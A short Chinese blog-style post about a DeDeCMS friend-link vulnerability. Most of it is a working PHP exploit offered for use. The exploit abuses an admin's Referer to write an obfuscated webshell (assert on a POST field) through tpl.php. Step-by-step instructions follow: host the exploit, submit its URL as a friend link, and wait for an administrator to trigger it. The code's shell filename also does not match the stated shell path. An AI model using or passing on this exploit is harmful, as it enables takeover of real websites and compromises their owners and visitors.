DeDeCMS友链被黑，心如刀割。

摘要

这个漏洞太可怕了！详情请见：http://0day5.com/archives/4209/EXP:。我们必须尽快采取措施，保护我们的网络安全！

正文

【摘要】漏洞详情：http://0day5.com/archives/4209/EXP:<?php//print_r($_SERVER);$referer=$_SERVER[‘HTTP_REFERE…

漏洞详情：

http://0day5.com/archives/4209/

EXP:

<?php//print_r($_SERVER);$referer = $_SERVER[‘HTTP_REFERER’];$dede_login = str_replace(“friendlink_main.php”,””,$referer);$muma = ‘<‘.’?’.’a’.’s’.’s’.’e’.’r’.’t’.'(‘.’$’.’_’.’P’.’O’.’S’.’T’.'[‘.’\”.’a’.’\”.’]’.’)’.’;’.’?’.’>’;$exp = ‘tpl.php?action=savetagfile&actiondo=addnewtag&content=’. $muma .’&filename=shell.lib.php’;$url = $dede_login.$exp;//echo $url;header(“location: “.$url);// send mail coderexit();?>

使用方法：

1.保存上方exp，上传至服务器；

2.访问目标网站:http://www.test.com/plus/flink.php

链接填写部署的exp的URL；

3.等待管理员触发，得到shell地址http://www.test.com/include/taglib/dy.lib.php

关注不迷路